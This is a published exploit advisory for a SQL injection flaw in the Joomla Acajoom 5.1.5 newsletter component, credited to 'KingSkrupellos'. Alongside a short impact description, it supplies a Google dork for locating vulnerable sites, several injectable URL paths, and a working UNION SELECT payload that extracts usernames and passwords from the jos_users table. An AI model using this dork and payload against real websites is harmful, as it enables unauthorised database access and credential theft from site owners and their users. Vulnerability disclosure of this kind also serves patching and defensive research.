#################################################################### # Exploit Title : Joomla Acajoom Components 5.1.5 SQL Injection # Author [ Discovered By ] : KingSkrupellos # Team : Cyberizm Digital Security Army # Date : 05/02/2019 # Vendor Homepage : joobi.org # Software Information Link : joobi.org/acajoom.html # Software Version : 5.1.5 # Tested On : Windows and Linux # Category : WebApps # Exploit Risk : Medium # Google Dorks : inurl:''/index.php?option=com_acajoom'' intext:Acajoom News 5.1.5, Joomla extensions powered by Joobi. # Vulnerability Type : CWE-89 [ Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') ] # Old Similar CVE : CVE-2008-1427 # PacketStormSecurity : packetstormsecurity.com/files/authors/13968 # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/ # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos #################################################################### # Description about Software : *************************** Acajoom has been the most downloaded and popular newsletter extension for Joomla 1.0 and 1.5 in the early days (2007-2010). Now they use Jnews Components 8.9.1 instead of Acajoom. #################################################################### # Impact : *********** Joomla Acajoom 5.1.5 component for Joomla and other versions is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. A remote attacker can send a specially crafted request to the vulnerable application and execute arbitrary SQL commands in application`s database. Further exploitation of this vulnerability may result in unauthorized data manipulation. An attacker can exploit this issue using a browser. The version of the Acajoom component for Joomla! running on the remote host is affected by a SQL injection vulnerability in the class.mailing.php script due to improper sanitization of user-supplied input to the 'mailingid' parameter before using it to construct database queries in the getOneMailing() function. Regardless of the PHP 'magic_quotes_gpc' setting, an unauthenticated, remote attacker can exploit this i ssue to manipulate database queries, resulting in disclosure of sensitive information, modification of data, or other attacks against the underlying database and it has vulnerability on different parameters in index.php. #################################################################### # SQL Injection Exploit : ********************** /index.php?option=com_acajoom&act=mailing&task=view&mailingid=[ID-NUMBER]&Itemid=[SQL Injection] /index.php?option=com_acajoom&act=mailing&task=archive&listid=[ID-NUMBER]&listype=1&Itemid=[SQL Injection] /index.php?option=com_acajoom&act=subone&listid=[ID-NUMBER]&Itemid=[SQL Injection] /index.php?option=com_acajoom&act=mailing&task=view&listid=[ID-NUMBER]&Itemid=1&mailingid=[SQL Injection] /index.php?option=com_jnews&act=mailing&task=view&listid=[ID-NUMBER]&mailingid=[ID-NUMBER]&listype=[ID-NUMBER]&Itemid=[SQL Injection] /index.php?option=com_acajoom&Itemid=[ID-NUMBER]&act=mailing&task=archive&listid=[ID-NUMBER]&listype=[SQL Injection] # Example SQL Injection Exploit Payload : ************************************ 1/**/union/**/select/**/1,1,1,1,concat(username,0x3a,password),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/from/**/jos_users/**/LIMIT/**/1,1/* #################################################################### # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team ####################################################################